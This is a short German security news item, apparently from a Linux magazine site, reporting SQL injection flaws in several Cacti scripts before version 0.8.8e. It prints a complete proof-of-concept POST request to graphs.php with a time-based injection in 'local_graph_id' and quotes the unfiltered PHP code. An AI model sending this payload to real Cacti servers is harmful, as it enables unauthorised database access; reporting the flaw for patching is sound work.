Open Source im professionellen Einsatz

Cacti: SQL-Injection-Attacken möglich

In der Cacti-Applikation wurden mehrere Schwachstellen entdeckt, die es einem entfernten Angreifer erlauben SQL-Injection-Attacken gegen die zugrundeliegende Datenbank durchzuführen. Cacti ist eine web-basierte Anwendung, die Daten periodisch sammelt und dann grafisch darstellt. So lassen sich beispielsweise Netzwerkkomponenten überwachen. Die nun entdecken und korrigierten Sicherheitslücken befinden sich in folgenden Skripten: »graphs.php«, »cdef.php«, »data_templates.php«, »graph_templates.php« und »host_templates.php«.

Alle diese Skripte sine anfällig für SQL-Injection-Attacken. Eine solche Attacke könnte beispielsweise über folgende HTTP-Post-Anfrage durchgeführt werden:

POST /cacti/graphs.php
__csrf_magic=sid:554d6f6d20e35cecee007ab4a21e3c8832b55501,1433992277&graph_template_id=8&host_id=1&graph_template_graph_id=8&local_graph_id=4 and sleep(1)&local_graph_template_graph_id=8&_graph_template_id=8&_host_id=1&title=|host_description| - Processes&image_format_id=1&height=120&width=500&slope_mode=on&auto_scale=on&auto_scale_opts=2&auto_scale_log=&auto_scale_rigid=&auto_padding=on&export=on&upper_limit=100&lower_limit=0&base_value=1000&unit_value=&unit_exponent_value=&vertical_label=processes&color_id_19=48&task_item_id_18=90&save_component_graph=1&save_component_input=1&rrdtool_version=rrd-1.2.x&action=save

Hier wird konkret der Fehler in graphs.php ausgenutzt. Dieses Skript filtert die template_id-Variable nicht korrekt:

...$save1["id"] = $_POST["local_graph_id"]; // parameters "graph_template_id" get from POST are not filtered
...if (!is_error_message()) {
        $local_graph_id = sql_save($save1, "graph_local");}
...update_graph_title_cache($local_graph_id); 
if ((!is_error_message()) && ($_POST["graph_template_id"] != $_POST["_graph_template_id"])) {   change_graph_template($local_graph_id, $_POST["graph_template_id"], true);}elseif (!empty($_POST["graph_template_id"])) {   update_graph_data_query_cache($local_graph_id);}  ...

Das Problem tritt hier schon in der ersten Zeile auf, da die graph_template_id-Variable der POST-Anfrage nicht gefiltert wird und dann im weiteren Code so verwendet wird.

Betroffen sind die Versionen vor 0.8.8e. Die neuste Version (0.8.8e) enthält die Schwachstellen nicht mehr.

comments powered by Disqus

Stellenmarkt

Artikelserien und interessante Workshops aus dem Magazin können Sie hier als Bundle erwerben.